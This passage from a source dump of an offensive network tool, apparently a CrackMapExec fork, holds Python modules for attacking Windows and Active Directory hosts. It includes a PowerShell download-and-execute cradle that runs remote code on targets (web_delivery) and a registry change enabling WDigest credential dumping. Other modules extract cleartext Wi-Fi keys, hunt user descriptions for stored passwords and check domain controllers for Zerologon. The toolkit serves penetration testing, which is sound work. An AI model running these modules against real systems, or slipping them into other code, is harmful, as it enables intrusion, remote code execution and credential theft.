 87 |                                 context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description))
 88 |                             else:
 89 |                                 context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name))
 90 |                         else:
 91 |                             for server in list_servers:
 92 |                                 if isinstance(server, ldapasn1_impacket.SearchResultEntry) is not True:
 93 |                                     continue
 94 |                                 server = searchResEntry_to_dict(server)['cn']
 95 |                                 if len(site_description) != 0:
 96 |                                     context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\") (Server:%s)" % (site_name, subnet_name, site_description, server))
 97 |                                 else:
 98 |                                     context.log.highlight("Site \"%s\" (Subnet:%s) (Server:%s)" % (site_name, subnet_name, server))
 99 |                     else:
100 |                         if len(site_description) != 0:
101 |                             context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description))
102 |                         else:
103 |                             context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name))
104 | 
--------------------------------------------------------------------------------
/cme/modules/test_connection.py:
--------------------------------------------------------------------------------
 1 | from cme.helpers.powershell import create_ps_command
 2 | from sys import exit
 3 | 
 4 | class CMEModule:
 5 |     '''
 6 |         Executes the Test-Connection PowerShell cmdlet
 7 |         Module by @byt3bl33d3r
 8 |     '''
 9 | 
10 |     name = 'test_connection'
11 |     description = "Pings a host"
12 |     supported_protocols = ['smb', 'mssql']
13 |     opsec_safe = True
14 |     multiple_hosts = True
15 | 
16 |     def options(self, context, module_options):
17 |         '''
18 |             HOST      Host to ping
19 |         '''
20 |         self.host = None
21 | 
22 |         if 'HOST' not in module_options:
23 |             context.log.error('HOST option is required!')
24 |             exit(1)
25 | 
26 |         self.host = module_options['HOST']
27 | 
28 |     def on_admin_login(self, context, connection):
29 |         command = 'Test-Connection {} -quiet -count 1'.format(self.host)
30 | 
31 |         output = connection.ps_execute(command, get_output=True)
32 | 
33 |         if output:
34 |             output = output.strip()
35 |             if bool(output) is True:
36 |                 context.log.success('Pinged successfully')
37 |             elif bool(output) is False:
38 |                 context.log.error('Host unreachable')
39 | 
--------------------------------------------------------------------------------
/cme/modules/uac.py:
--------------------------------------------------------------------------------
 1 | from impacket.dcerpc.v5.rpcrt import DCERPCException
 2 | from impacket.dcerpc.v5 import rrp
 3 | from impacket.examples.secretsdump import RemoteOperations
 4 | 
 5 | class CMEModule:
 6 | 
 7 |     name = 'uac'
 8 |     description = "Checks UAC status"
 9 |     supported_protocols = ['smb']
10 |     opsec_safe = True
11 |     multiple_hosts = True
12 | 
13 |     def options(self, context, module_options):
14 |         '''
15 |         '''
16 | 
17 |     def on_admin_login(self, context, connection):
18 |         remoteOps = RemoteOperations(connection.conn, False)
19 |         remoteOps.enableRegistry()
20 | 
21 |         ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
22 |         regHandle = ans['phKey']
23 |         ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
24 |         keyHandle = ans['phkResult']
25 |         dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')
26 | 
27 |         if uac_value == 1:
28 |             context.log.highlight('UAC Status: 1 (UAC Enabled)')
29 |         elif uac_value == 0:
30 |             context.log.highlight('UAC Status: 0 (UAC Disabled)')
31 | 
32 |         rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
33 |         remoteOps.finish()
34 | 
--------------------------------------------------------------------------------
/cme/modules/user_description.py:
--------------------------------------------------------------------------------
  1 | from pathlib import Path
  2 | from datetime import datetime
  3 | from impacket.ldap import ldap, ldapasn1
  4 | from impacket.ldap.ldap import LDAPSearchError
  5 | 
  6 | 
  7 | class CMEModule:
  8 |     '''
  9 |     Get user descriptions stored in Active Directory.
 10 | 
 11 |     Module by Tobias Neitzel (@qtc_de)
 12 |     '''
 13 |     name = 'user-desc'
 14 |     description = 'Get user descriptions stored in Active Directory'
 15 |     supported_protocols = ['ldap']
 16 |     opsec_safe = True
 17 |     multiple_hosts = True
 18 | 
 19 |     def options(self, context, module_options):
 20 |         '''
 21 |         LDAP_FILTER     Custom LDAP search filter (fully replaces the default search)
 22 |         DESC_FILTER     An additional seach filter for descriptions (supports wildcard *)
 23 |         DESC_INVERT     An additional seach filter for descriptions (shows non matching)
 24 |         USER_FILTER     An additional seach filter for usernames (supports wildcard *)
 25 |         USER_INVERT     An additional seach filter for usernames (shows non matching)
 26 |         KEYWORDS        Use a custom set of keywords (comma separated)
 27 |         ADD_KEYWORDS    Add additional keywords to the default set (comma separated)
 28 |         '''
 29 |         self.log_file = None
 30 |         self.desc_count = 0
 31 |         self.context = context
 32 |         self.account_names = set()
 33 |         self.keywords = {'pass', 'creds', 'creden', 'key', 'secret', 'default'}
 34 | 
 35 |         if 'LDAP_FILTER' in module_options:
 36 |             self.search_filter = module_options['LDAP_FILTER']
 37 | 
 38 |         else:
 39 |             self.search_filter = '(&(objectclass=user)'
 40 | 
 41 |             if 'DESC_FILTER' in module_options:
 42 |                 self.search_filter += '(description={})'.format(module_options['DESC_FILTER'])
 43 | 
 44 |             if 'DESC_INVERT' in module_options:
 45 |                 self.search_filter += '(!(description={}))'.format(module_options['DESC_INVERT'])
 46 | 
 47 |             if 'USER_FILTER' in module_options:
 48 |                 self.search_filter += '(sAMAccountName={})'.format(module_options['USER_FILTER'])
 49 | 
 50 |             if 'USER_INVERT' in module_options:
 51 |                 self.search_filter += '(!(sAMAccountName={}))'.format(module_options['USER_INVERT'])
 52 | 
 53 |             self.search_filter += ')'
 54 | 
 55 |         if 'KEYWORDS' in module_options:
 56 |             self.keywords = set(module_options['KEYWORDS'].split(','))
 57 | 
 58 |         elif 'ADD_KEYWORDS' in module_options:
 59 |             add_keywords = set(module_options['ADD_KEYWORDS'].split(','))
 60 |             self.keywords = self.keywords.union(add_keywords)
 61 | 
 62 |     def __del__(self):
 63 |         '''
 64 |         Destructor - closes the log file.
 65 |         '''
 66 |         try:
 67 |             self.log_file.close()
 68 | 
 69 |             info = 'Saved {} user descriptions to {}'.format(self.desc_count, self.log_file.name)
 70 |             self.context.log.highlight(info)
 71 | 
 72 |         except AttributeError:
 73 |             pass
 74 | 
 75 |     def on_login(self, context, connection):
 76 |         '''
 77 |         On successful LDAP login we perform a search for all user objects that have a description.
 78 |         Users can specify additional LDAP filters that are applied to the query.
 79 |         '''
 80 |         self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
 81 |         context.log.debug("Starting LDAP search with search filter '{}'".format(self.search_filter))
 82 | 
 83 |         try:
 84 |             sc = ldap.SimplePagedResultsControl()
 85 |             connection.ldapConnection.search(searchFilter=self.search_filter,
 86 |                                              attributes=['sAMAccountName', 'description'],
 87 |                                              sizeLimit=0, searchControls=[sc],
 88 |                                              perRecordCallback=self.process_record)
 89 | 
 90 |         except LDAPSearchError as e:
 91 |             context.log.error('Obtained unexpected exception: {}'.format(str(e)))
 92 | 
 93 |     def create_log_file(self, host, time):
 94 |         '''
 95 |         Create a log file for dumping user descriptions.
 96 |         '''
 97 |         logfile = 'UserDesc-{}-{}.log'.format(host, time)
 98 |         logfile = Path.home().joinpath('.cme').joinpath('logs').joinpath(logfile)
 99 | 
100 |         self.context.log.debug("Creating log file '{}'".format(logfile))
101 | 
102 |         self.log_file = open(logfile, 'w')
103 |         self.append_to_log("User:", "Description:")
104 | 
105 |     def append_to_log(self, user, description):
106 |         '''
107 |         Append a new entry to the log file. Helper function that is only used to have an
108 |         unified padding on the user field.
109 |         '''
110 |         print(user.ljust(25), description, file=self.log_file)
111 | 
112 |     def process_record(self, item):
113 |         '''
114 |         Function that is called to process the items obtained by the LDAP search. All items are
115 |         written to the log file per default. Items that contain one of the keywords configured
116 |         within this module are also printed to stdout.
117 | 
118 |         On large Active Directories there seems to be a problem with duplicate user entries. For
119 |         some reason the process_record function is called multiple times with the same user entry.
120 |         Not sure whether this is a fault by this module or by impacket. As a workaround, this
121 |         function adds each new account name to a set and skips accounts that have already been added.
122 |         '''
123 |         if not isinstance(item, ldapasn1.SearchResultEntry):
124 |             return
125 | 
126 |         sAMAccountName = ''
127 |         description = ''
128 | 
129 |         try:
130 | 
131 |             for attribute in item['attributes']:
132 | 
133 |                 if str(attribute['type']) == 'sAMAccountName':
134 |                     sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8')
135 | 
136 |                 elif str(attribute['type']) == 'description':
137 |                     description = attribute['vals'][0].asOctets().decode('utf-8')
138 | 
139 |         except Exception as e:
140 | 
141 |             entry = sAMAccountName or 'item'
142 |             self.context.error("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
143 | 
144 |         if description and sAMAccountName not in self.account_names:
145 | 
146 |             self.desc_count += 1
147 |             self.append_to_log(sAMAccountName, description)
148 | 
149 |             if self.highlight(description):
150 |                 self.context.log.highlight('User: {} - Description: {}'.format(sAMAccountName, description))
151 | 
152 |             self.account_names.add(sAMAccountName)
153 | 
154 |     def highlight(self, description):
155 |         '''
156 |         Check for interesting entries. Just checks whether certain keywords are contained within the
157 |         user description. Keywords are configured at the top of this class within the options function.
158 | 
159 |         It is tempting to implement more logic here (e.g. catch all strings that are longer than seven
160 |         characters and contain 3 different character classes). Such functionality is nice when playing
161 |         CTF in small AD environments. When facing a real AD, such functionality gets annoying, because
162 |         it generates to much output with 99% of it being false positives.
163 | 
164 |         The recommended way when targeting user descriptions is to use the keyword filter to catch low
165 |         hanging fruites. More dedicated searches for sensitive information should be done using the logfile.
166 |         This allows you to refine your search query at any time without having to pull data from AD again.
167 |         '''
168 |         for keyword in self.keywords:
169 |             if keyword.lower() in description.lower():
170 |                 return True
171 | 
172 |         return False
173 | 
--------------------------------------------------------------------------------
/cme/modules/wdigest.py:
--------------------------------------------------------------------------------
 1 | from impacket.dcerpc.v5.rpcrt import DCERPCException
 2 | from impacket.dcerpc.v5 import rrp
 3 | from impacket.examples.secretsdump import RemoteOperations
 4 | from sys import exit
 5 | 
 6 | class CMEModule:
 7 | 
 8 |     name = 'wdigest'
 9 |     description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
10 |     supported_protocols = ['smb']
11 |     opsec_safe = True
12 |     multiple_hosts = True
13 | 
14 |     def options(self, context, module_options):
15 |         '''
16 |             ACTION  Create/Delete the registry key (choices: enable, disable)
17 |         '''
18 | 
19 |         if not 'ACTION' in module_options:
20 |             context.log.error('ACTION option not specified!')
21 |             exit(1)
22 | 
23 |         if module_options['ACTION'].lower() not in ['enable', 'disable']:
24 |             context.log.error('Invalid value for ACTION option!')
25 |             exit(1)
26 | 
27 |         self.action = module_options['ACTION'].lower()
28 | 
29 |     def on_admin_login(self, context, connection):
30 |         if self.action == 'enable':
31 |             self.wdigest_enable(context, connection.conn)
32 |         elif self.action == 'disable':
33 |             self.wdigest_disable(context, connection.conn)
34 | 
35 |     def wdigest_enable(self, context, smbconnection):
36 |         remoteOps = RemoteOperations(smbconnection, False)
37 |         remoteOps.enableRegistry()
38 | 
39 |         if remoteOps._RemoteOperations__rrp:
40 |             ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
41 |             regHandle = ans['phKey']
42 | 
43 |             ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
44 |             keyHandle = ans['phkResult']
45 | 
46 |             rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00',  rrp.REG_DWORD, 1)
47 | 
48 |             rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
49 | 
50 |             if int(data) == 1:
51 |                 context.log.success('UseLogonCredential registry key created successfully')
52 | 
53 |         try:
54 |             remoteOps.finish()
55 |         except:
56 |             pass
57 | 
58 |     def wdigest_disable(self, context, smbconnection):
59 |         remoteOps = RemoteOperations(smbconnection, False)
60 |         remoteOps.enableRegistry()
61 | 
62 |         if remoteOps._RemoteOperations__rrp:
63 |             ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
64 |             regHandle = ans['phKey']
65 | 
66 |             ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
67 |             keyHandle = ans['phkResult']
68 | 
69 |             try:
70 |                 rrp.hBaseRegDeleteValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
71 |             except:
72 |                 context.log.success('UseLogonCredential registry key not present')
73 | 
74 |                 try:
75 |                     remoteOps.finish()
76 |                 except:
77 |                     pass
78 | 
79 |                 return
80 | 
81 |             try:
82 |                 #Check to make sure the reg key is actually deleted
83 |                 rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
84 |             except DCERPCException:
85 |                 context.log.success('UseLogonCredential registry key deleted successfully')
86 |                 
87 |                 try:
88 |                     remoteOps.finish()
89 |                 except:
90 |                     pass
91 | 
92 | 
--------------------------------------------------------------------------------
/cme/modules/web_delivery.py:
--------------------------------------------------------------------------------
 1 | from cme.helpers.powershell import *
 2 | from sys import exit
 3 | 
 4 | class CMEModule:
 5 |     '''
 6 |         Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
 7 |         Reference: https://github.com/EmpireProject/Empire/blob/2.0_beta/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
 8 | 
 9 |         Module by @byt3bl33d3r
10 |     '''
11 | 
12 |     name = 'web_delivery'
13 |     description = 'Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module'
14 |     supported_protocols = ['smb', 'mssql']
15 |     opsec_safe = True
16 |     multiple_hosts = True
17 | 
18 |     def options(self, context, module_options):
19 |         '''
20 |         URL  URL for the download cradle
21 |         '''
22 | 
23 |         if not 'URL' in module_options:
24 |             context.log.error('URL option is required!')
25 |             exit(1)
26 | 
27 |         self.url = module_options['URL']
28 | 
29 |     def on_admin_login(self, context, connection):
30 |         ps_command = '''[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');'''.format(self.url)
31 |         connection.ps_execute(ps_command, force_ps32=True)
32 |         context.log.success('Executed web-delivery launcher')
33 | 
--------------------------------------------------------------------------------
/cme/modules/webdav.py:
--------------------------------------------------------------------------------
 1 | from cme.protocols.smb.remotefile import RemoteFile
 2 | from impacket import nt_errors
 3 | from impacket.smb3structs import FILE_READ_DATA
 4 | from impacket.smbconnection import SessionError
 5 | 
 6 | class CMEModule:
 7 |     '''
 8 |     Enumerate whether the WebClient service is running on the target by looking for the
 9 |     DAV RPC Service pipe. This technique was first suggested by Lee Christensen (@tifkin_)
10 | 
11 |     Module by Tobias Neitzel (@qtc_de)
12 |     '''
13 |     name = 'webdav'
14 |     description = 'Checks whether the WebClient service is running on the target'
15 |     supported_protocols = ['smb']
16 |     opsec_safe= True
17 |     multiple_hosts = True
18 | 
19 |     def options(self, context, module_options):
20 |         '''
21 |         MSG     Info message when the WebClient service is running. '{}' is replaced by the target.
22 |         '''
23 |         self.output = 'WebClient Service enabled on: {}'
24 | 
25 |         if 'MSG' in module_options:
26 |             self.output = module_options['MSG']
27 | 
28 |     def on_login(self, context, connection):
29 |         '''
30 |         Check whether the 'DAV RPC Service' pipe exists within the 'IPC$' share. This indicates
31 |         that the WebClient service is running on the target.
32 |         '''
33 |         try:
34 |             remote_file = RemoteFile(connection.conn, 'DAV RPC Service', 'IPC$', access=FILE_READ_DATA)
35 | 
36 |             remote_file.open()
37 |             remote_file.close()
38 | 
39 |             context.log.highlight(self.output.format(connection.conn.getRemoteHost()))
40 | 
41 |         except SessionError as e:
42 |             
43 |             if e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND:
44 |                 pass
45 | 
46 |             else:
47 |                 raise e
48 | 
--------------------------------------------------------------------------------
/cme/modules/wireless.py:
--------------------------------------------------------------------------------
 1 | class CMEModule:
 2 | 
 3 |     name = 'wireless'
 4 |     description = "Get key of all wireless interfaces"
 5 |     supported_protocols = ['smb']
 6 |     opsec_safe = True
 7 |     multiple_hosts = True
 8 | 
 9 |     def options(self, context, module_options):
10 |         '''
11 |         '''     
12 | 
13 |     def on_admin_login(self, context, connection):
14 | 
15 |         command = 'powershell.exe -c "(netsh wlan show profiles) | Select-String """"\:(.+)$"""" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}'
16 |         context.log.info('Executing command')
17 |         p = connection.execute(command, True)
18 |         context.log.success(p)
19 | 
--------------------------------------------------------------------------------
/cme/modules/zerologon.py:
--------------------------------------------------------------------------------
 1 | # everything is comming from https://github.com/dirkjanm/CVE-2020-1472
 2 | # credit to @dirkjanm
 3 | # module by : @mpgn_x64
 4 | 
 5 | import sys
 6 | from impacket.dcerpc.v5 import nrpc, epm
 7 | from impacket.dcerpc.v5.dtypes import NULL
 8 | from impacket.dcerpc.v5 import transport
 9 | from impacket import crypto
10 | import hmac, hashlib, struct, sys, socket, time
11 | from binascii import hexlify, unhexlify
12 | from subprocess import check_call
13 | 
14 | # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
15 | MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
16 | 
17 | class CMEModule:
18 | 
19 |     name = 'zerologon'
20 |     description = "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472"
21 |     supported_protocols = ['smb']
22 |     opsec_safe = True
23 |     multiple_hosts = False
24 | 
25 |     def options(self, context, module_options):
26 |         '''
27 |             NOP            No options
28 |         '''
29 | 
30 |     def on_login(self, context, connection):
31 |         if perform_attack('\\\\' + connection.hostname, connection.host, connection.hostname):
32 |             context.log.highlight("VULNERABLE")
33 |             context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
34 | 
35 | def fail(msg):
36 |     logging.debug(msg, file=sys.stderr)
37 |     logging.debug('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
38 |     sys.exit(2)
39 | 
40 | def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
41 |     # Connect to the DC's Netlogon service.
42 | 
43 | 
44 |     # Use an all-zero challenge and credential.
45 |     plaintext = b'\x00' * 8
46 |     ciphertext = b'\x00' * 8
47 | 
48 |     # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
49 |     flags = 0x212fffff
50 | 
51 |     # Send challenge and authentication request.
52 |     nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
53 |     try:
54 |         server_auth = nrpc.hNetrServerAuthenticate3(
55 |             rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
56 |             target_computer + '\x00', ciphertext, flags
57 |         )
58 | 
59 | 
60 |         # It worked!
61 |         assert server_auth['ErrorCode'] == 0
62 |         return True
63 | 
64 |     except nrpc.DCERPCSessionError as ex:
65 |         # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
66 |         if ex.get_error_code() == 0xc0000022:
67 |             return None
68 |         else:
69 |             fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
70 |     except BaseException as ex:
71 |         fail(f'Unexpected error: {ex}.')
72 | 
73 | def perform_attack(dc_handle, dc_ip, target_computer):
74 |     # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
75 |     logging.debug('Performing authentication attempts...')
76 |     rpc_con = None
77 |     binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
78 |     rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
79 |     rpc_con.connect()
80 |     rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
81 |     for attempt in range(0, MAX_ATTEMPTS):
82 |         result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
83 | 
84 |         if result is None:
85 |             logging.debug('=', end='', flush=True)
86 |         else:
87 |             break
88 |     if result:
89 |         return True
90 |     else:
91 |         logging.debug('\nAttack failed. Target is probably patched.')
92 | 
93 | 
94 | 
--------------------------------------------------------------------------------
/cme/parsers/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/parsers/__init__.py
--------------------------------------------------------------------------------
/cme/parsers/ip.py:
--------------------------------------------------------------------------------
 1 | from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface
 2 | 
 3 | def parse_targets(target):
 4 |     try:
 5 |         if '-' in target:
 6 |             start_ip, end_ip = target.split('-')
 7 |             try:
 8 |                 end_ip = ip_address(end_ip)
 9 |             except ValueError:
10 |                 first_three_octets = start_ip.split(".")[:-1]
11 |                 first_three_octets.append(end_ip)
12 |                 end_ip = ip_address(
13 |                             ".".join(first_three_octets)
14 |                         )
15 | 
16 |             for ip_range in summarize_address_range(ip_address(start_ip), end_ip):
17 |                 for ip in ip_range:
18 |                     yield str(ip)
19 |         else:
20 |             if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local:
21 |                 yield str(target)
22 |             else:
23 |                 for ip in ip_network(target, strict=False):
24 |                     yield str(ip)
25 |     except ValueError as e:
26 |         yield str(target)
27 | 
--------------------------------------------------------------------------------
/cme/parsers/nessus.py:
--------------------------------------------------------------------------------
 1 | import xmltodict
 2 | 
 3 | # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard
 4 | protocol_dict = {
 5 |     'smb': {'ports': [445, 139], 'services': ['smb', 'cifs']},
 6 |     'mssql': {'ports': [1433], 'services': ['mssql']},
 7 |     'ssh': {'ports': [22], 'services': ['ssh']},
 8 |     'winrm': {'ports': [5986, 5985], 'services': ['www', 'https?']},
 9 |     'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['www', 'https?']}
10 | }
11 | 
12 | 
13 | def parse_nessus_file(nessus_file, protocol):
14 |     targets = []
15 | 
16 |     def handle_nessus_file(path, item):
17 |         # Must return True otherwise xmltodict will throw a ParsingIterrupted() exception
18 |         # https://github.com/martinblech/xmltodict/blob/master/xmltodict.py#L219
19 | 
20 |         if any('ReportHost' and 'ReportItem' in values for values in path):
21 |             item = dict(path)
22 |             ip = item['ReportHost']['name']
23 |             if ip in targets:
24 |                 return True
25 | 
26 |             port = item['ReportItem']['port']
27 |             svc_name = item['ReportItem']['svc_name']
28 | 
29 |             if port in protocol_dict[protocol]['ports']:
30 |                 targets.append(ip)
31 |             if svc_name in protocol_dict[protocol]['services']:
32 |                 targets.append(ip)
33 | 
34 |             return True
35 |         else:
36 |             return True
37 | 
38 |     with open(nessus_file, 'r') as file_handle:
39 |         xmltodict.parse(file_handle, item_depth=4, item_callback=handle_nessus_file)
40 | 
41 |     return targets
42 | 
--------------------------------------------------------------------------------
/cme/parsers/nmap.py:
--------------------------------------------------------------------------------
 1 | import xmltodict
 2 | 
 3 | # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard
 4 | protocol_dict = {
 5 |     'smb': {'ports': [445, 139], 'services': ['netbios-ssn', 'microsoft-ds']},
 6 |     'mssql': {'ports': [1433], 'services': ['ms-sql-s']},
 7 |     'ssh': {'ports': [22], 'services': ['ssh']},
 8 |     'winrm': {'ports': [5986, 5985], 'services': ['wsman']},
 9 |     'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['http', 'ssl/https']}
10 | }
11 | 
12 | 
13 | def parse_nmap_xml(nmap_output_file, protocol):
14 |     targets = []
15 | 
16 |     with open(nmap_output_file, 'r') as file_handle:
17 |         scan_output = xmltodict.parse(file_handle.read())
18 | 
19 |     for host in scan_output['nmaprun']['host']:
20 |         if host['address'][0]['@addrtype'] != 'ipv4':
21 |             continue
22 | 
23 |         ip = host['address'][0]['@addr']
24 |         for port in host['ports']['port']:
25 |             if port['state']['@state'] == 'open':
26 |                 if 'service' in port and (port['service']['@name'] in protocol_dict[protocol]['services']):
27 |                     if ip not in targets:
28 |                         targets.append(ip)
29 |                 elif port['@portid'] in protocol_dict[protocol]['ports']:
30 |                     if ip not in targets:
31 |                         targets.append(ip)
32 | 
33 |     return targets
34 | 
--------------------------------------------------------------------------------
/cme/protocols/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/ldap/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/ldap/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/ldap/database.py:
--------------------------------------------------------------------------------
 1 | class database:
 2 | 
 3 |     def __init__(self, conn):
 4 |         self.conn = conn
 5 | 
 6 |     @staticmethod
 7 |     def db_schema(db_conn):
 8 |         db_conn.execute('''CREATE TABLE "credentials" (
 9 |             "id" integer PRIMARY KEY,
10 |             "username" text,
11 |             "password" text
12 |             )''')
13 | 
14 |         db_conn.execute('''CREATE TABLE "hosts" (
15 |             "id" integer PRIMARY KEY,
16 |             "ip" text,
17 |             "hostname" text,
18 |             "port" integer
19 |             )''')
20 | 
--------------------------------------------------------------------------------
/cme/protocols/ldap/db_navigator.py:
--------------------------------------------------------------------------------
1 | from cme.cmedb import DatabaseNavigator
2 | 
3 | 
4 | class navigator(DatabaseNavigator):
5 |     pass
6 | 
--------------------------------------------------------------------------------
/cme/protocols/ldap/smbldap.py:
--------------------------------------------------------------------------------
  1 | import logging
  2 | import random
  3 | from pyasn1.codec.der import decoder, encoder
  4 | from pyasn1.type.univ import noValue
  5 | from impacket.ntlm import compute_lmhash, compute_nthash
  6 | from impacket.ldap import ldap as ldap_impacket
  7 | from cme.logger import CMEAdapter
  8 | 
  9 | 
 10 | ldap_error_status = {
 11 |     "533":"STATUS_ACCOUNT_DISABLED",
 12 |     "701":"STATUS_ACCOUNT_EXPIRED",
 13 |     "531":"STATUS_ACCOUNT_RESTRICTION",
 14 |     "530":"STATUS_INVALID_LOGON_HOURS",
 15 |     "532":"STATUS_PASSWORD_EXPIRED",
 16 |     "773":"STATUS_PASSWORD_MUST_CHANGE",
 17 |     "775":"USER_ACCOUNT_LOCKED",
 18 |     "50":"LDAP_INSUFFICIENT_ACCESS"
 19 | }
 20 | 
 21 | 
 22 | class LDAPConnect:
 23 | 
 24 |     def __init__(self, host, port, hostname):
 25 |         self.proto_logger(host, port, hostname)
 26 | 
 27 |     def proto_logger(self, host, port, hostname):
 28 |         self.logger = CMEAdapter(extra={
 29 |                                         'protocol': 'LDAP',
 30 |                                         'host': host,
 31 |                                         'port': port,
 32 |                                         'hostname': hostname
 33 |                                         })
 34 | 
 35 |     def plaintext_login(self, domain, username, password, ntlm_hash):
 36 | 
 37 |         lmhash = ''
 38 |         nthash = ''
 39 |         
 40 | 
 41 |         #This checks to see if we didn't provide the LM Hash
 42 |         if ntlm_hash and ntlm_hash.find(':') != -1:
 43 |             lmhash, nthash = ntlm_hash.split(':')
 44 |         elif ntlm_hash:
 45 |             nthash = ntlm_hash
 46 | 
 47 |         # Create the baseDN
 48 |         baseDN = ''
 49 |         domainParts = domain.split('.')
 50 |         for i in domainParts:
 51 |             baseDN += 'dc=%s,' % i
 52 |         # Remove last ','
 53 |         baseDN = baseDN[:-1]
 54 | 
 55 |         try:
 56 |             ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % domain, baseDN, domain)
 57 |             ldapConnection.login(username, password, domain, lmhash, nthash)
 58 | 
 59 |             # Connect to LDAP
 60 |             out = u'{}{}:{}'.format('{}\\'.format(domain),
 61 |                                                 username,
 62 |                                                 password if password else ntlm_hash)
 63 |             self.logger.extra['protocol'] = "LDAP"
 64 |             self.logger.extra['port'] = "389"
 65 |             # self.logger.success(out)
 66 | 
 67 |             return ldapConnection
 68 | 
 69 |         except ldap_impacket.LDAPSessionError as e:
 70 |             if str(e).find('strongerAuthRequired') >= 0:
 71 |                 # We need to try SSL
 72 |                 try:
 73 |                     ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % domain, baseDN, domain)
 74 |                     ldapConnection.login(username, password, domain, lmhash, nthash)
 75 |                     self.logger.extra['protocol'] = "LDAPS"
 76 |                     self.logger.extra['port'] = "636"
 77 |                     # self.logger.success(out)
 78 |                     return ldapConnection
 79 |                 except ldap_impacket.LDAPSessionError as e:
 80 |                     errorCode = str(e).split()[-2][:-1]
 81 |                     self.logger.error(u'{}\\{}:{} {}'.format(domain, 
 82 |                                                     username, 
 83 |                                                     password if password else ntlm_hash,
 84 |                                                     ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
 85 |                                                     color='magenta' if errorCode in ldap_error_status else 'red')
 86 |             else:
 87 |                 errorCode = str(e).split()[-2][:-1]
 88 |                 self.logger.error(u'{}\\{}:{} {}'.format(domain, 
 89 |                                                 username, 
 90 |                                                 password if password else ntlm_hash,
 91 |                                                 ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
 92 |                                                 color='magenta' if errorCode in ldap_error_status else 'red')
 93 |             return False
 94 | 
 95 |         except OSError as e:
 96 |             self.logger.debug(u'{}\\{}:{} {}'.format(domain, 
 97 |                                                  username, 
